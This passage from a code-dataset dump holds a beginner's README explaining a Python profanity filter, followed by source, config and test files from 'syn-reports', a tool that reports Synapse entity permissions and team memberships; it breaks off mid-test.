"repo_name": "xxhmode14/anti_swear.py",
"src_encoding": "UTF-8",
"text": "#Anti_swear.py\n\n***note i am a beginer on python so don't expect much of this.***\n\nHello there,\nwell this is my first actual github repo and i don't know and why thay write this readme thing but ok\n\ni want ***your help*** to improve my project first i will explane my horrible code\n\n```python\nanswers = [\"bad\", \"good\"]\nPoints = [0,0]\nbad = []\ngood = []\ndata = None\njson_file = None\nsp_chars = [\"!\",\"?\",\"|\",\"@\",\"#\",\"$\",\"%\",\"^\",\"&\",\"*\",\"/\",\"'\",'\"',\":\",\";\",\"\\\\\",\"[\",\"{\",\"]\",\"}\",\"(\",\")\",\"-\",\"_\",\"+\",\"=\",\"~\",\".\"]\ndebuging = False\n\nd_tools = {\n \"auto_save\": False,\n \"Display_prints\": True,\n \"Simulation\": False\n}\n```\ncalling some variables,\nbad has all my bad words \ngood have all my good words\ndebuging is just debug mode\nand json_file is my json file that haves all my bad/good words\ni am not sure about wy special chars var but it will work\n\n```python3\ndef load():\n global data, json_file\n if debuging:\n print(\"loading file . . .\")\n json_file = open(\"data.json\", \"r\")\n data = json.load(json_file)\n if data[\"bad\"] == None or data[\"good\"] == None:\n print(\"error while loading json file. . .\")\n return\n if debuging:\n print(\"done\")\n return\n```\nthis just loads my json file that haves my swear words and good words\n\n```python\nload()\n```\ncalls the func\n\n```python\ndef is_bad(text):\n global json_file, good, bad, Points\n raw_text = text\n if text == string.whitespace:\n return False\n text = str(text).lower()\n if text == \"end_sim\" and debuging and d_tools.get(\"Simulation\"):\n save_json()\n for sp in sp_chars:\n text = text.replace(sp,\"\")\n # the final value\n Final = None\n```\nlets go to the main function,\nfirst storing the raw text value\nthen making the string to lowercase and removing any special char\nand i defined the final value in the function\n\n```python\nposs = [0.5, 0.5]\nCurrent_Awns = []\n```\nthe poss var is the possibility of the word being bad or good\nposs[0] is bad\nposs[1] is good\ndon't warry about the second var you will figure it out soon\n\n```python\n for word in bad:\n # Split the word into words\n # text is the input word\n splitted = text.split(\" \")\n # word is the words in the list 'bad'\n splitted_word = word.split(\" \")\n for words in splitted:\n # checking for bypass\n if words.replace(\"1\", \"l\") in bad:\n poss[1] -= 0.5\n poss[0] += 0.15\n # removing white space\n no_White = words.translate({ord(c): None for c in string.whitespace})\n if no_White in word:\n poss[1] -= 0.5\n poss[0] += 0.15\n```\n\nexplaned in the comments\n\n```python\n if word in splitted:\n poss[1] -= 0.5\n poss[0] += 0.15\n\n if text in splitted_word:\n poss[1] -= 0.35\n poss[0] += 0.15\n```\nfirst i checked if a bad word is in the splited text val\nand in reverse\n\nwell there is alot of things but i am out of time.\n**have a nice day bye.**\n"
}
] | 2 |
pcstout/syn-reports | https://github.com/pcstout/syn-reports | 0af1db22af31f6b964405fc528b4540974de72d8 | aa0e3c169c37b0c75ce8e4dc98b27ec7b2e66f13 | 7b20f31dc8ec07d89d4cd5123dc943405471a43c | refs/heads/master | 2023-02-20T17:02:59.382835 | 2022-11-03T19:45:04 | 2022-11-03T19:45:04 | 242,197,120 | 2 | 2 | Apache-2.0 | 2020-02-21T17:42:35 | 2023-01-26T16:33:15 | 2023-02-08T04:26:22 | Python | [
{
"alpha_fraction": 0.8648648858070374,
"alphanum_fraction": 0.8648648858070374,
"avg_line_length": 48.33333206176758,
"blob_id": "e7e12c69081d54fe43bcb6581706938170877cb1",
"content_id": "a7d339c931675592c1cfee92a95a4a6fa71b7450",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 148,
"license_type": "permissive",
"max_line_length": 70,
"num_lines": 3,
"path": "/src/syn_reports/commands/benefactor_permissions_report/__init__.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "from .cli import create, execute\nfrom .benefactor_permissions_report import BenefactorPermissionsReport\nfrom .benefactor_view import BenefactorView\n"
},
{
"alpha_fraction": 0.6401180028915405,
"alphanum_fraction": 0.6578171253204346,
"avg_line_length": 14.409090995788574,
"blob_id": "be281423d83e2980a9f8b0aeae0a7b2f5158e19a",
"content_id": "507904e2d36c1e1f623f155ac71532b8e205d6bf",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "INI",
"length_bytes": 678,
"license_type": "permissive",
"max_line_length": 43,
"num_lines": 44,
"path": "/tox.ini",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "[tox]\nenvlist = cov-init,py3{7,8,9,10},cov-report\n\n\n[testenv]\nrecreate = true\nsetenv =\n COVERAGE_FILE = .coverage.{envname}\ndeps =\n synapseclient>=2.3.1,<3.0.0\n pytest\n pylint\n pytest-mock\n pytest-pylint\n pytest-cov\n coverage\n coveralls\n synapse_test_helper\n python-dotenv\ncommands =\n python --version\n synapse --version\n pytest -v --cov --cov-report=\n\n\n[testenv:cov-init]\nskip_install = true\nsetenv =\n COVERAGE_FILE = .coverage\ndeps =\n coverage\ncommands =\n coverage erase\n\n\n[testenv:cov-report]\nskip_install = true\nsetenv =\n COVERAGE_FILE = .coverage\ndeps =\n coverage\ncommands =\n coverage combine\n coverage report\n"
},
{
"alpha_fraction": 0.6495606899261475,
"alphanum_fraction": 0.6641373634338379,
"avg_line_length": 36.09629440307617,
"blob_id": "d59f00b11271d2e92a7ff54b89a9b463d4ba0564",
"content_id": "f6500a489f3913bee4ead84a9fea3a8f0c34427b",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5008,
"license_type": "permissive",
"max_line_length": 115,
"num_lines": 135,
"path": "/tests/syn_reports/commands/benefactor_permissions_report/test_benefactor_view.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import pytest\nfrom synapseclient.core.exceptions import SynapseHTTPError\nfrom src.syn_reports.commands.benefactor_permissions_report import BenefactorView\nfrom src.syn_reports.core.synapse_proxy import SynapseProxy\nimport synapseclient as syn\n\n\[email protected]()\ndef benefactor_view(synapse_test_helper):\n bv = BenefactorView()\n yield bv\n if bv.view_project:\n synapse_test_helper.dispose(bv.view_project)\n\n\[email protected](scope='session')\ndef grant_access(syn_client):\n def _grant(syn_id, principal_id, access_type=SynapseProxy.Permissions.ADMIN):\n syn_client.setPermissions(syn_id, principalId=principal_id, accessType=access_type, warn_if_inherits=False)\n\n yield _grant\n\n\[email protected](scope='session')\ndef test_data(synapse_test_helper, syn_client, grant_access):\n # Project\n # file0\n # folder1/\n # file1\n # folder2/\n # file2\n # folder3/\n # file3\n user_id = syn_client.getUserProfile()['ownerId']\n\n project = synapse_test_helper.create_project(prefix='project_')\n file0 = synapse_test_helper.create_file(parent=project, path=synapse_test_helper.create_temp_file(),\n prefix='file0_')\n grant_access(file0.id, user_id)\n\n folder1 = synapse_test_helper.create_folder(parent=project, prefix='folder1_')\n grant_access(folder1.id, user_id)\n file1 = synapse_test_helper.create_file(parent=folder1, path=synapse_test_helper.create_temp_file(),\n prefix='file1_')\n grant_access(file1.id, user_id)\n\n folder2 = synapse_test_helper.create_folder(parent=folder1, prefix='folder2_')\n grant_access(folder2.id, user_id)\n file2 = synapse_test_helper.create_file(parent=folder2, path=synapse_test_helper.create_temp_file(),\n prefix='file2_')\n grant_access(file2.id, user_id)\n\n folder3 = synapse_test_helper.create_folder(parent=folder2, prefix='folder3_')\n grant_access(folder3, user_id)\n file3 = synapse_test_helper.create_file(parent=folder3, path=synapse_test_helper.create_temp_file(),\n prefix='file3_')\n grant_access(file3, user_id)\n\n return {\n 'project': project,\n 'file0': file0,\n\n 'folder1': folder1,\n 'file1': file1,\n\n 'folder2': folder2,\n 'file2': file2,\n\n 'folder3': folder3,\n 'file3': file3,\n\n 'all_entities': [project, file0, folder1, file1, folder2, file2, folder3, file3]\n }\n\n\ndef test_it_loads_all_the_benefactors_for_a_project(benefactor_view, test_data):\n project = test_data['project']\n benefactor_view.set_scope(project)\n\n expected_entities = test_data['all_entities']\n assert len(benefactor_view) == len(expected_entities)\n for entity in expected_entities:\n assert {'benefactor_id': entity.id, 'project_id': project.id} in benefactor_view\n\n\ndef test_it_loads_all_the_benefactors_for_a_folder(benefactor_view, test_data):\n project = test_data['project']\n folder1 = test_data['folder1']\n benefactor_view.set_scope(folder1)\n\n expected_entities = [e for e in test_data['all_entities'] if\n e not in [test_data['project'], test_data['file0']]]\n assert len(benefactor_view) == len(expected_entities)\n for entity in expected_entities:\n assert {'benefactor_id': entity.id, 'project_id': project.id} in benefactor_view\n\n\ndef test_it_loads_all_the_benefactors_for_a_file(benefactor_view, test_data):\n project = test_data['project']\n file0 = test_data['file0']\n benefactor_view.set_scope(file0)\n\n expected_entities = [file0]\n assert len(benefactor_view) == len(expected_entities)\n for entity in expected_entities:\n assert {'benefactor_id': entity.id, 'project_id': project.id} in benefactor_view\n\n\ndef test_it_falls_back_to_individual_loading(benefactor_view, test_data, mocker):\n project = test_data['project']\n folder3 = test_data['folder3']\n\n orig__create_view = benefactor_view._create_view\n\n def mock__create_view(entity_types):\n # Allow the project view and folder3 view to be created, all others should fail and use the fallback.\n if entity_types == [syn.EntityViewType.PROJECT] or benefactor_view.scope == folder3:\n return orig__create_view(entity_types)\n else:\n raise SynapseHTTPError('scope exceeds the maximum number')\n\n mocker.patch.object(benefactor_view, '_create_view', new=mock__create_view)\n benefactor_view.set_scope(project)\n\n expected_entities = test_data['all_entities']\n assert len(benefactor_view) == len(expected_entities)\n for entity in expected_entities:\n assert {'benefactor_id': entity.id, 'project_id': project.id} in benefactor_view\n\n\ndef test_it_does_not_add_duplicate_items(benefactor_view):\n benefactor_view._add_item('1', '2')\n benefactor_view._add_item('1', '2')\n benefactor_view._add_item('1', '2')\n assert len(benefactor_view) == 1\n"
},
{
"alpha_fraction": 0.5898123383522034,
"alphanum_fraction": 0.5898123383522034,
"avg_line_length": 48.733333587646484,
"blob_id": "1d424d88cd83d0d5f5e31ea52ad426bc1df37209",
"content_id": "71da83ab1055867fd28cc82935658b40e33cdeaa",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1492,
"license_type": "permissive",
"max_line_length": 191,
"num_lines": 30,
"path": "/src/syn_reports/commands/entity_permissions_report/cli.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "from .entity_permissions_report import EntityPermissionsReport\n\n\ndef create(subparsers, parents):\n parser = subparsers.add_parser('entity-permissions',\n parents=parents,\n help='Report the permissions of each user and team on a Synapse entity.')\n parser.add_argument('entities',\n nargs='+',\n help='The IDs and/or names of the entities to report on.')\n parser.add_argument('-o', '--out-path', default=None,\n help='Path to export the report to. Specify a path that ends in \".csv\" to export to a specific file otherwise a timestamped filename will be created in the out-path.')\n parser.add_argument('-r', '--recursive',\n default=False,\n action='store_true',\n help='Recursively report permissions on child entities. Will report on each sub-folder/file/table that has different permissions from the starting entity.')\n parser.add_argument('-a', '--all',\n default=False,\n action='store_true',\n help='Report permissions on every entity regardless of the parent permission.')\n parser.set_defaults(_execute=execute)\n\n\ndef execute(args):\n return EntityPermissionsReport(\n args.entities,\n out_path=args.out_path,\n recursive=args.recursive,\n report_on_all=args.all\n ).execute()\n"
},
{
"alpha_fraction": 0.4656771719455719,
"alphanum_fraction": 0.46905043721199036,
"avg_line_length": 44.25954055786133,
"blob_id": "dfc5d7777e61f9eb6acea193d3b1cb7949230e95",
"content_id": "d266db0ae045f622687c5508dc4bd734ed0e5ff0",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5929,
"license_type": "permissive",
"max_line_length": 118,
"num_lines": 131,
"path": "/src/syn_reports/commands/user_teams_report/user_teams_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import os\nimport csv\nfrom ...core import SynapseProxy, Utils\n\n\nclass UserTeamsReport:\n \"\"\"\n This report shows all the teams a user is a member of.\n \"\"\"\n\n def __init__(self, user_ids_or_usernames, required_member_ids_or_usernames=None, out_path=None):\n self._user_ids_or_usernames = user_ids_or_usernames\n if self._user_ids_or_usernames and not isinstance(self._user_ids_or_usernames, list):\n self._user_ids_or_usernames = [self._user_ids_or_usernames]\n\n self._required_member_ids_or_usernames = required_member_ids_or_usernames\n if self._required_member_ids_or_usernames and not isinstance(self._required_member_ids_or_usernames, list):\n self._required_member_ids_or_usernames = [self._required_member_ids_or_usernames]\n\n self._out_path = Utils.expand_path(out_path) if out_path else None\n self._csv_full_path = None\n self._csv_file = None\n self._csv_writer = None\n self.errors = []\n\n CSV_HEADERS = ['user_id',\n 'username',\n 'first_name',\n 'last_name',\n 'team_id',\n 'team_name',\n 'is_admin']\n\n def execute(self):\n SynapseProxy.login()\n\n if self._out_path:\n if self._out_path.lower().endswith('.csv'):\n self._csv_full_path = self._out_path\n else:\n self._csv_full_path = os.path.join(self._out_path, 'user-teams-{0}.csv'.format(Utils.timestamp_str()))\n Utils.ensure_dirs(os.path.dirname(self._csv_full_path))\n self._csv_file = open(self._csv_full_path, mode='w', newline='', encoding='utf-8')\n self._csv_writer = csv.DictWriter(self._csv_file,\n delimiter=',',\n quotechar='\"',\n fieldnames=self.CSV_HEADERS,\n quoting=csv.QUOTE_ALL)\n self._csv_writer.writeheader()\n try:\n required_members = []\n required_members_usernames = []\n if self._required_member_ids_or_usernames:\n for required_user_id_or_name in self._required_member_ids_or_usernames:\n required_user = SynapseProxy.WithCache.get_user(required_user_id_or_name)\n if required_user is None:\n self._show_error(\n 'Could not find user matching: {0}. Aborting.'.format(required_user_id_or_name))\n return False\n else:\n required_members.append(required_user)\n required_members_usernames.append(required_user.userName)\n\n if required_members:\n print('Only including teams that have members: {0}'.format(\n ' or '.join(['{0} ({1})'.format(m.userName, m.ownerId) for m in required_members])))\n\n for id_or_name in self._user_ids_or_usernames:\n print('=' * 80)\n print('Looking up user: \"{0}\"...'.format(id_or_name))\n\n user = SynapseProxy.WithCache.get_user(id_or_name)\n\n if user:\n user_id = user.ownerId\n username = user.userName\n first_name = user.get('firstName', None)\n last_name = user.get('lastName', None)\n print('Username: {0} ({1})'.format(username, user_id))\n if first_name:\n print('First Name: {0}'.format(first_name))\n if last_name:\n print('Last Name: {0}'.format(last_name))\n\n teams = SynapseProxy.users_teams(user_id)\n\n for team in teams:\n team_id = team['id']\n team_name = team['name']\n\n # Check if the team has at least on of the required members.\n if required_members:\n found_match = False\n members = SynapseProxy.WithCache.get_team_members(team_id)\n for result in members:\n member = result.get('member')\n if member.get('userName') in required_members_usernames:\n found_match = True\n break\n\n if not found_match:\n continue\n\n team_member = SynapseProxy.client().restGET('/team/{0}/member/{1}'.format(team_id, user_id))\n is_admin = team_member.get('isAdmin', False)\n\n print(' ---')\n print(' Team: {0} ({1})'.format(team_name, team_id))\n print(' Is Admin: {0}'.format('Yes' if is_admin else 'No'))\n if self._csv_writer:\n self._csv_writer.writerow({\n 'user_id': user_id,\n 'username': username,\n 'first_name': first_name,\n 'last_name': last_name,\n 'team_id': team_id,\n 'team_name': team_name,\n 'is_admin': is_admin\n })\n else:\n self._show_error('Could not find user matching: {0}'.format(id_or_name))\n finally:\n if self._csv_file:\n self._csv_file.close()\n if self._csv_full_path:\n print('Report saved to: {0}'.format(self._csv_full_path))\n return self\n\n def _show_error(self, msg):\n self.errors.append(msg)\n Utils.eprint(msg)\n"
},
{
"alpha_fraction": 0.5881642699241638,
"alphanum_fraction": 0.5881642699241638,
"avg_line_length": 40.400001525878906,
"blob_id": "b16bbe9be9028130155a0a27ae562645f31dca58",
"content_id": "1b4dc0501d132ccef300086fc7a3b7a796587344",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 828,
"license_type": "permissive",
"max_line_length": 191,
"num_lines": 20,
"path": "/src/syn_reports/commands/team_access_report/cli.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "from .team_access_report import TeamAccessReport\n\n\ndef create(subparsers, parents):\n parser = subparsers.add_parser('team-access',\n parents=parents,\n help='Report the entities a team has access to.')\n parser.add_argument('teams',\n nargs='+',\n help='The IDs and/or names of the teams to report on.')\n parser.add_argument('-o', '--out-path', default=None,\n help='Path to export the report to. Specify a path that ends in \".csv\" to export to a specific file otherwise a timestamped filename will be created in the out path.')\n parser.set_defaults(_execute=execute)\n\n\ndef execute(args):\n return TeamAccessReport(\n args.teams,\n out_path=args.out_path\n ).execute()\n"
},
{
"alpha_fraction": 0.7234076261520386,
"alphanum_fraction": 0.7340764403343201,
"avg_line_length": 46.57575607299805,
"blob_id": "653c50158c93d8b5bcbddd3e5af292190797ae20",
"content_id": "2b48e12be2e7776868ddb5e8965dc44b8b9a8a9d",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6280,
"license_type": "permissive",
"max_line_length": 118,
"num_lines": 132,
"path": "/tests/syn_reports/core/test_synapse_proxy.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import pytest\nimport asyncio\nfrom src.syn_reports.core import SynapseProxy\nimport synapseclient as syn\n\n\ndef test_is_synapse_id():\n assert SynapseProxy.is_synapse_id('SyN1230') is True\n assert SynapseProxy.is_synapse_id(' sYn1230 ') is True\n assert SynapseProxy.is_synapse_id('syn') is False\n assert SynapseProxy.is_synapse_id('syn 1230') is False\n assert SynapseProxy.is_synapse_id('1230') is False\n assert SynapseProxy.is_synapse_id('1230syn') is False\n\n\ndef test__extract_concrete_type():\n assert SynapseProxy._extract_concrete_type(syn.Project()) == 'org.sagebionetworks.repo.model.Project'\n assert SynapseProxy._extract_concrete_type(\n {'concreteType': 'org.sagebionetworks.repo.model.Project'}) == 'org.sagebionetworks.repo.model.Project'\n assert SynapseProxy._extract_concrete_type(\n {'type': 'org.sagebionetworks.repo.model.Project'}) == 'org.sagebionetworks.repo.model.Project'\n\n with pytest.raises(ValueError) as err:\n SynapseProxy._extract_concrete_type({})\n assert 'Cannot extract type from' in str(err)\n\n\ndef test_entity_type_display_name():\n assert SynapseProxy.entity_type_display_name(\n 'org.sagebionetworks.repo.model.Project') == SynapseProxy.PROJECT_TYPE_DISPLAY_NAME\n assert SynapseProxy.entity_type_display_name(syn.Project()) == SynapseProxy.PROJECT_TYPE_DISPLAY_NAME\n assert SynapseProxy.entity_type_display_name(\n {'concreteType': 'org.sagebionetworks.repo.model.Project'}) == SynapseProxy.PROJECT_TYPE_DISPLAY_NAME\n\n assert SynapseProxy.entity_type_display_name(\n 'org.sagebionetworks.repo.model.Folder') == SynapseProxy.FOLDER_TYPE_DISPLAY_NAME\n assert SynapseProxy.entity_type_display_name(syn.Folder(parentId='syn0')) == SynapseProxy.FOLDER_TYPE_DISPLAY_NAME\n assert SynapseProxy.entity_type_display_name(\n {'concreteType': 'org.sagebionetworks.repo.model.Folder'}) == SynapseProxy.FOLDER_TYPE_DISPLAY_NAME\n\n assert SynapseProxy.entity_type_display_name(\n 'org.sagebionetworks.repo.model.FileEntity') == SynapseProxy.FILE_TYPE_DISPLAY_NAME\n assert SynapseProxy.entity_type_display_name(syn.File(parentId='syn0')) == SynapseProxy.FILE_TYPE_DISPLAY_NAME\n assert SynapseProxy.entity_type_display_name(\n {'concreteType': 'org.sagebionetworks.repo.model.FileEntity'}) == SynapseProxy.FILE_TYPE_DISPLAY_NAME\n\n assert SynapseProxy.entity_type_display_name(\n 'org.sagebionetworks.repo.model.Link') == SynapseProxy.LINK_TYPE_DISPLAY_NAME\n assert SynapseProxy.entity_type_display_name(\n syn.Link(parentId='syn0', targetId='syn0')) == SynapseProxy.LINK_TYPE_DISPLAY_NAME\n assert SynapseProxy.entity_type_display_name(\n {'concreteType': 'org.sagebionetworks.repo.model.Link'}) == SynapseProxy.LINK_TYPE_DISPLAY_NAME\n\n assert SynapseProxy.entity_type_display_name(\n 'org.sagebionetworks.repo.model.table.TableEntity') == SynapseProxy.TABLE_TYPE_DISPLAY_NAME\n assert SynapseProxy.entity_type_display_name(\n {'concreteType': 'org.sagebionetworks.repo.model.table.TableEntity'}) == SynapseProxy.TABLE_TYPE_DISPLAY_NAME\n\n\ndef test_is_project():\n assert SynapseProxy.is_project('org.sagebionetworks.repo.model.Project') is True\n assert SynapseProxy.is_project(syn.Project()) is True\n assert SynapseProxy.is_project({'concreteType': 'org.sagebionetworks.repo.model.Project'}) is True\n\n\ndef test_is_folder():\n assert SynapseProxy.is_folder('org.sagebionetworks.repo.model.Folder') is True\n assert SynapseProxy.is_folder(syn.Folder(parentId='syn0')) is True\n assert SynapseProxy.is_folder({'concreteType': 'org.sagebionetworks.repo.model.Folder'}) is True\n\n\ndef test_is_file():\n assert SynapseProxy.is_file('org.sagebionetworks.repo.model.FileEntity') is True\n assert SynapseProxy.is_file(syn.File(parentId='syn0')) is True\n assert SynapseProxy.is_file({'concreteType': 'org.sagebionetworks.repo.model.FileEntity'}) is True\n\n\ndef test_with_cache_get_user(synapse_test_helper):\n user_id = SynapseProxy.client().getUserProfile().get('ownerId')\n user = SynapseProxy.WithCache.get_user(user_id)\n assert user['ownerId'] == user_id\n\n # Returns None if the user does not exist\n assert SynapseProxy.WithCache.get_user('-9999999') is None\n assert SynapseProxy.WithCache.get_user('000') is None\n assert SynapseProxy.WithCache.get_user(synapse_test_helper.uniq_name(prefix='notarealname')) is None\n\n\ndef test_with_cache_get_team(synapse_test_helper):\n team = synapse_test_helper.create_team()\n team_id = team.get('id')\n team_name = team.get('name')\n\n team = SynapseProxy.WithCache.get_team(team_id)\n assert team['id'] == team_id\n\n team = SynapseProxy.WithCache.get_team(team_name)\n assert team['id'] == team_id\n\n # Returns None if the team does not exist\n assert SynapseProxy.WithCache.get_team('-9999999') is None\n assert SynapseProxy.WithCache.get_team('000') is None\n assert SynapseProxy.WithCache.get_team(synapse_test_helper.uniq_name(prefix='notarealname')) is None\n\n\ndef test_with_cache_get_user_or_team(synapse_test_helper):\n user_id = SynapseProxy.client().getUserProfile().get('ownerId')\n team_id = synapse_test_helper.create_team().get('id')\n\n user = SynapseProxy.WithCache.get_user_or_team(user_id)\n assert isinstance(user, syn.UserProfile)\n assert user['ownerId'] == user_id\n\n team = SynapseProxy.WithCache.get_user_or_team(team_id)\n assert isinstance(team, syn.Team)\n assert team['id'] == team_id\n\n # Returns None if the user and team do not exist\n assert SynapseProxy.WithCache.get_user_or_team('-9999999') is None\n assert SynapseProxy.WithCache.get_user_or_team('000') is None\n assert SynapseProxy.WithCache.get_user_or_team(synapse_test_helper.uniq_name(prefix='notarealname')) is None\n assert SynapseProxy.WithCache.get_user_or_team(synapse_test_helper.uniq_name(prefix='notarealname')) is None\n\n\ndef test_with_cache_get_team_members(synapse_test_helper):\n team = synapse_test_helper.create_team()\n members = SynapseProxy.WithCache.get_team_members(team.id)\n assert len(members) == 1\n\n # Returns [] if the team does not exist\n assert SynapseProxy.WithCache.get_team_members('-9999999') == []\n assert SynapseProxy.WithCache.get_team_members('000') == []\n"
},
{
"alpha_fraction": 0.6620430946350098,
"alphanum_fraction": 0.6639175415039062,
"avg_line_length": 44.79399108886719,
"blob_id": "173a1534d8ca500b72b48751dae243a07bd4a287",
"content_id": "a530d78dde0f384ed716944e3e581476b58f38bb",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10670,
"license_type": "permissive",
"max_line_length": 119,
"num_lines": 233,
"path": "/tests/syn_reports/commands/benefactor_permissions_report/test_benefactor_permissions_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import pytest\nimport os\nimport csv\nimport json\nfrom src.syn_reports.commands.benefactor_permissions_report import BenefactorPermissionsReport\nfrom src.syn_reports.core import SynapseProxy, Utils\n\n\ndef assert_success_from_print(capsys, *entities):\n captured = capsys.readouterr()\n assert captured.err == ''\n for entity in entities:\n log_msg = '{0}: {1} ({2})'.format(SynapseProxy.entity_type_display_name(entity),\n entity.name,\n entity.id)\n assert log_msg in captured.out\n\n\ndef assert_success_from_csv(csv_full_path, *entities):\n assert os.path.isfile(csv_full_path)\n with open(csv_full_path, mode='r') as f:\n contents = f.read()\n for entity in entities:\n assert entity.id in contents\n assert entity.name in contents\n\n\ndef test_it_reports_on_projects_by_id(capsys, syn_project):\n BenefactorPermissionsReport(syn_project.id).execute()\n assert_success_from_print(capsys, syn_project)\n\n\ndef test_it_reports_on_projects_by_name(capsys, syn_project):\n BenefactorPermissionsReport(syn_project.name).execute()\n assert_success_from_print(capsys, syn_project)\n\n\ndef test_it_reports_on_all_accessible_projects(capsys, syn_project, syn_project2, mocker):\n mocker.patch('src.syn_reports.core.synapse_proxy.SynapseProxy.users_project_access',\n return_value=iter([syn_project, syn_project2]))\n BenefactorPermissionsReport(None).execute()\n assert_success_from_print(capsys, syn_project, syn_project2)\n\n\ndef test_it_does_not_blowup_if_entity_not_found(capsys):\n BenefactorPermissionsReport('syn000').execute()\n captured = capsys.readouterr()\n assert 'Entity does not exist or you do not have access to the entity:' in captured.err\n\n\ndef test_it_reports_on_uniq_permissions(capsys, syn_project, syn_folder, syn_file, synapse_test_helper):\n folder_team = synapse_test_helper.create_team()\n file_team = synapse_test_helper.create_team()\n SynapseProxy.client().setPermissions(syn_folder, folder_team.id,\n accessType=SynapseProxy.Permissions.CAN_EDIT_AND_DELETE,\n warn_if_inherits=False)\n SynapseProxy.client().setPermissions(syn_file, file_team.id,\n accessType=SynapseProxy.Permissions.CAN_EDIT_AND_DELETE,\n warn_if_inherits=False)\n BenefactorPermissionsReport(syn_project.name).execute()\n assert_success_from_print(capsys, syn_project, syn_folder, syn_file)\n\n\ndef test_it_outputs_csv_to_dir(capsys, synapse_test_helper, syn_project, syn_folder, syn_file):\n out_dir = synapse_test_helper.create_temp_dir()\n report = BenefactorPermissionsReport(syn_project.id, out_path=out_dir)\n report.execute()\n assert_success_from_print(capsys, syn_project)\n # Folder and File have the same permissions as the project so they are not in the CSV.\n assert_success_from_csv(report._csv_full_path, syn_project)\n\n\ndef test_it_outputs_csv_to_file(capsys, synapse_test_helper, syn_project, syn_folder, syn_file):\n out_file = os.path.join(synapse_test_helper.create_temp_dir(), 'outfile.csv')\n report = BenefactorPermissionsReport(syn_project.id, out_path=out_file)\n report.execute()\n assert report._csv_full_path == out_file\n assert_success_from_print(capsys, syn_project)\n # Folder and File have the same permissions as the project so they are not in the CSV.\n assert_success_from_csv(report._csv_full_path, syn_project)\n\n\ndef test_it_creates_csv_files_for_each_entity(capsys, synapse_test_helper, syn_project, syn_project2):\n out_dir = synapse_test_helper.create_temp_dir()\n report = BenefactorPermissionsReport([syn_project.id, syn_project2.id], out_path=out_dir, out_file_per_entity=True)\n report.execute()\n assert_success_from_print(capsys, syn_project, syn_project2)\n assert len(report.csv_files_created) == 2\n for csv_file in report.csv_files_created:\n if syn_project.name in csv_file:\n assert_success_from_csv(csv_file, syn_project)\n else:\n assert_success_from_csv(csv_file, syn_project2)\n\n\ndef test_it_uses_the_out_file_prefix(capsys, synapse_test_helper, syn_project):\n out_dir = synapse_test_helper.create_temp_dir()\n prefix = 'ZzZzZzZz--'\n report = BenefactorPermissionsReport(syn_project.id, out_path=out_dir, out_file_prefix=prefix)\n report.execute()\n assert_success_from_print(capsys, syn_project)\n for csv_file in report.csv_files_created:\n assert os.path.basename(csv_file).startswith(prefix)\n\n\ndef test_it_does_not_add_timestamp_to_out_file_name(capsys, synapse_test_helper, syn_project):\n out_dir = synapse_test_helper.create_temp_dir()\n partial_timestamp = Utils.timestamp_str()[:8]\n report = BenefactorPermissionsReport(syn_project.id, out_path=out_dir, out_file_without_timestamp=True)\n report.execute()\n assert_success_from_print(capsys, syn_project)\n for csv_file in report.csv_files_created:\n assert partial_timestamp not in csv_file\n\n\ndef test_it_trims_the_out_file_name(capsys, synapse_test_helper, syn_project):\n out_dir = synapse_test_helper.create_temp_dir()\n report = BenefactorPermissionsReport(syn_project.id, out_path=out_dir, out_file_name_max_length=3)\n report.execute()\n assert_success_from_print(capsys, syn_project)\n for csv_file in report.csv_files_created:\n assert len(os.path.basename(csv_file)) == (3 + len('.csv'))\n\n\ndef test_it_outputs_csv_to_file_without_entity_parent_id_for_projects(capsys, synapse_test_helper,\n syn_project, syn_folder, syn_file):\n folder_team = synapse_test_helper.create_team()\n file_team = synapse_test_helper.create_team()\n SynapseProxy.client().setPermissions(syn_folder, folder_team.id,\n accessType=SynapseProxy.Permissions.CAN_EDIT_AND_DELETE,\n warn_if_inherits=False)\n SynapseProxy.client().setPermissions(syn_file, file_team.id,\n accessType=SynapseProxy.Permissions.CAN_EDIT_AND_DELETE,\n warn_if_inherits=False)\n\n out_file = os.path.join(synapse_test_helper.create_temp_dir(), 'outfile.csv')\n report = BenefactorPermissionsReport(syn_project.id, out_path=out_file)\n report.execute()\n assert report._csv_full_path == out_file\n assert_success_from_print(capsys, syn_project)\n\n assert_success_from_csv(report._csv_full_path, syn_project, syn_folder, syn_file)\n with open(out_file, newline='') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n if row['entity_type'] == 'Project':\n assert row['entity_parent_id'] == ''\n else:\n assert row['entity_parent_id'] == syn_project.id\n\n\ndef test_it_outputs_team_invites_by_user_to_csv(synapse_test_helper, syn_project):\n project_team = synapse_test_helper.create_team()\n SynapseProxy.client().setPermissions(syn_project, project_team.id,\n accessType=SynapseProxy.Permissions.CAN_EDIT_AND_DELETE,\n warn_if_inherits=False)\n invite_user_id = os.environ.get('TEST_OTHER_SYNAPSE_USER_ID')\n invite_user = SynapseProxy.client().getUserProfile(invite_user_id)\n body = {\n 'teamId': project_team.id,\n 'inviteeId': invite_user_id\n }\n SynapseProxy.client().restPOST('/membershipInvitation', 